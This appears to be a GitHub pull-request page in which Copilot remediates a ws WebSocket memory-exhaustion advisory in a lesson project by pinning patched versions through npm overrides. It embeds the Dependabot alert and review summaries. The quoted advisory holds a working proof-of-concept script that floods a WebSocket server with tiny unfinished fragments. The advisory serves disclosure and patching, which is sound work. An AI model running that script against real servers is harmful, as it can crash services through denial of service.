[Visualization] Patch ws memory exhaustion vulnerability

[Copilot]

Track translation progress by opening a draft PR using this template and checking off the translations completed

• Security: Remediates GHSA-96hv-2xvq-fx4p, where fragmented WebSocket traffic can cause memory exhaustion.
• Dependencies: Pins ws to patched versions 8.21.0 for webpack-dev-server and 7.5.11 for webpack-bundle-analyzer using scoped npm overrides.
• Reachability: Reachable during local development through npm run serve → Vue CLI → webpack-dev-server. No direct application usage; the dependency is excluded from production bundles. Confidence: high.

Each lesson includes a translation of the README.md and the Assignment.md file, if available. Only mark the lesson complete if both those files are translated per lesson, please.

• 1

• 1-1

• 1-2

• 1-3

• 2

• 2-1

• 2-2

• 2-3

• 2-4

• 3

• 3-1

• 3-2

• 3-3

• 4

• 4-1

• 5

• 5-1

• 5-2

• 5-3

• 6

• 6-1

• 6-2

• 6-3

• 6-4

• 6-5

• 6-6

• 7

• 7-1

• 7-2

• 7-3

• 7-4

• Quiz (add a file in the quiz-app with all localizations)

Original prompt

---

This section details the Dependabot vulnerability alert you should resolve

<alert_title>ws: Memory exhaustion DoS from tiny fragments and data chunks</alert_title>
<alert_description>### Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

Patches

The vulnerability was fixed in ws@8.21.0 (websockets/ws@bca91ad) and backported to ws@7.5.11 (websockets/ws@fd36cd8), ws@6.2.4 (websockets/ws@86d3e8a), and ws@5.2.5 (websockets/ws@b5372ac).

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by Nadav Magier.</alert_description>

high
GHSA-96hv-2xvq-fx4p, CVE-2026-48779
ws
npm
<vulnerable_versions>8.18.3</vulnerable_versions>
<patched_version>8.21.0</patched_version>
<manifest_path>3-Data-Visualization/13-meaningful-visualizations/starter/package-lock.json</manifest_path>

https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7 https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53 https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94 https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8 https://nvd.nist.gov/vuln/detail/CVE-2026-48779 https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48779.json https://bugzilla.redhat.com/show_bug.cgi?id=2489661 https://access.redhat.com/security/cve/CVE-2026-48779 https://access.redhat.com/errata/RHSA-2026:34342 https://access.redhat.com/errata/RHSA-2026:33574 https://access.redhat.com/errata/RHSA-2026:33183 https://access.redhat.com/errata/RHSA-2026:33173 https://access.redhat.com/errata/RHSA-2026:33163 https://access.redhat.com/errata/RHSA-2026:33160 https://access.redhat.com/errata/RHSA-2026:33155 https://access.redhat.com/errata/RHSA-2026:29197 https://access.redhat.com/errata/RHSA-2026:36820 https://access.redhat.com/errata/RHSA-2026:36754 https://access.redhat.com/errata/RHSA-2026:37272 https://access.redhat.com/errata/RHSA-2026:27171 https://access.redhat.com/errata/RHSA-2026:26638 https://github.com/advisories/GHSA-96hv-2xvq-fx4p

<task_instructions>Resolve this alert by updating the affected package to a non-vulnerable version. Prefer the lowest non-vulnerable version (see the patched_version field above) over the latest to minimize breaking changes. Include a Reachability Assessment section in the PR description. Review the alert_description field to understand which APIs, features, or configurations are affected, then search the codebase for usage of those specific items. If the vulnerable code path is reachable, explain how (which files, APIs, or call sites use the affected functionality) and note that the codebase is actively exposed to this vulnerability. If the vulnerable code path is not reachable, explain why (e.g. the affected API is never called, the vulnerable configuration is not used) and note that the update is primarily to satisfy vulnerability scanners rather than to address an active risk. If the advisory is too vague to determine reachability (e.g. 'improper input validation' with no specific API named),...

• Resolves microsoft/Data-Science-For-Beginners alert Bump terser from 4.8.0 to 4.8.1 in /3-Data-Visualization/13-meaningful-visualizations/solution #424

[Copilot]

Pull request overview

Updates the lesson 13 “meaningful-visualizations” starter project’s dev dependency tree to remediate GHSA-96hv-2xvq-fx4p (ws memory exhaustion via tiny fragments) by forcing patched ws versions via npm overrides and reflecting the change in the lockfile.

Changes:

• Add scoped npm overrides to pin ws to 8.21.0 for webpack-dev-server and 7.5.11 for webpack-bundle-analyzer.
• Update package-lock.json to resolve ws to the patched versions (including the nested webpack-dev-server copy).

Show a summary per file

File	Description
3-Data-Visualization/13-meaningful-visualizations/starter/package.json	Adds scoped npm overrides to force patched ws versions in the dev tooling dependency graph.
3-Data-Visualization/13-meaningful-visualizations/starter/package-lock.json	Updates resolved ws artifacts to the patched versions to match the overrides.

Review details

Tip

Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Files not reviewed (1)

• 3-Data-Visualization/13-meaningful-visualizations/starter/package-lock.json: Generated file

• Files reviewed: 1/2 changed files
• Comments generated: 1
• Review effort level: Low

[Copilot]

Review details

Files not reviewed (1)

• 3-Data-Visualization/13-meaningful-visualizations/starter/package-lock.json: Generated file

• Files reviewed: 1/2 changed files
• Comments generated: 0 new
• Review effort level: Low